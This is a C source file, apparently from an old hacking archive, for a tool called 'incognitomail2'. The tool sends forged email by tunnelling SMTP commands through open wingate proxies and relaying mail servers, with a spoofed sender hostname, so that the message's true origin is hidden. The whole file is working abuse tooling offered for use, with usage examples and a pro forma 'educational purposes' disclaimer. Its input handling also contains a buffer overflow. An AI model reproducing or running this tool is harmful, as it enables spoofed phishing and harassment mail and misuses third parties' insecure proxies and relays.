incognitomail2.c sends fake mail using a wingate proxy to obscure the true origin of the message.
2db83f0aa98b6e3f8d8a8da4354b8fb4d3e12832b720864635806f9cb449ef61
/* More software from HardCore.WantaBe.Com...
* Haha, well its only been a day, and I'm coming out with a new version.
* If you haven't noticed, it uses proxies to send the mail, thus making
* it appear to be from that host in the header of the mail.
* After connecting to the proxy (remember, a wingate is a proxy) you are
* connected to the SMTP server.
* The SMTP server MUST have relay turned on. This is still beta,
* but now it works with more proxies. Maybe i'll put out with v0.3 tomorrow :P
* (check out line 73 for some comic relief)
* kilrid@HardCore.WantaBe.Com
* ICQ: 8607810
* kilrid@EFnet
* --------------
* Here is an example of what yahoo shows when you recieve mail using
* incognitomail2, I have edited out what sendmail server I used, and the
* address of the insecure proxy server used.
*
* X-Apparently-To: kilrid@yahoo.com via web2003.mail.yahoo.com
* Received: from relay.sendmail.server (HELO relay.sendmail.server)
* (2.2.2.2) by web2305.mail.yahoo.com with SMTP; 23 Apr 2000
* 20:51:30 -0000
* Received: from kilrid (insecure.proxy.com [2.2.2.1]) by
* relay.sendmail.server (8.9.3/8.9.3) with SMTP id QAA21131 for
* kilrid@yahoo.com; Sun, 23 Apr 2000 16:51:35 -0500
* Date: Sun, 23 Apr 2000 16:51:35 -0500
* From: kilrid@kilrid.org
* Subject: kilrid rules
* yay, incognito mail v0.2 works.
* ---------
* yada yada, this is for educational purposes only, I don't take any
* responsibility for others actions using this, etc etc.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
int hardcore;
struct hostent *hp;
struct hostent *hpp;
struct sockaddr_in s;
int main( int argc, char *argv[] ) {
if( argc != 4 )
{
printf("Incognito Mail v0.2 by kilrid@HardCore.WantaBe.Com \n");
printf("----\n");
printf("Usage: %s <username> <Insecure Proxy Server> <SMTP Server>\n", argv[0] );
printf("----\n");
printf("Example: %s kilrid insecureproxy.com smtp.com\n", argv[0] );
exit( -1 );
}
printf("Incognito Mail v0.2 by kilrid@HardCore.Wantabe.Com \n");
printf("----\n");
printf("Connecting to %s...\n",argv[2]);
hp=gethostbyname( argv[2] );
if (!hp) {
perror("Failed to resolve proxy host");
exit( -1 );
}
else {
FILE* sendtohost;
char fakehost[90];
char towhom[90];
char subject[90];
char message[90];
printf("\nEnter fake hostname: ");
fgets(fakehost, 128, stdin);
printf("\nSend To: ");
fgets(towhom, 128, stdin);
printf("\nEnter subject: ");
fgets(subject, 128, stdin);
printf("\nEnter message: ");
fgets(message, 128, stdin);
/*
* Our algorithm is simple, we don't use one. :P
*/
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=hp->h_addrtype;
s.sin_port=htons(23);
if ((hardcore=socket(AF_INET,SOCK_STREAM,0))<0) perror("can't start socket");
if (connect(hardcore,(struct sockaddr *)&s,sizeof(s))) perror("Can't connect");
if (!(sendtohost=fdopen(hardcore,"w"))) { perror("can't write to host"); exit( -1 ); }
fprintf(sendtohost,"%s:25\n", argv[3]);
printf("Connecting to %s....\n",argv[3]);
sleep(25);
fprintf(sendtohost,"helo %s\n",argv[1]);
fprintf(sendtohost,"mail from: %s@%s\n",argv[1],fakehost);
fprintf(sendtohost,"rcpt to: %s\n",towhom);
fprintf(sendtohost,"data\n");
fprintf(sendtohost,"Subject: %s", subject);
fprintf(sendtohost,"%s\n", message);
fprintf(sendtohost,".\n");
printf("Sending...\n");
printf("This will take a minute or two to compensate for lag...\n");
/* we use these sleep statements to make sure everything is sent, ecspecially
* if the sever is lagged, it helps a bunch */
sleep(20);
fprintf(sendtohost,"quit\n");
fflush(sendtohost);
sleep(100);
printf("Sent.\n");
close(hardcore);
close(sendtohost);
exit( -1 );
}
}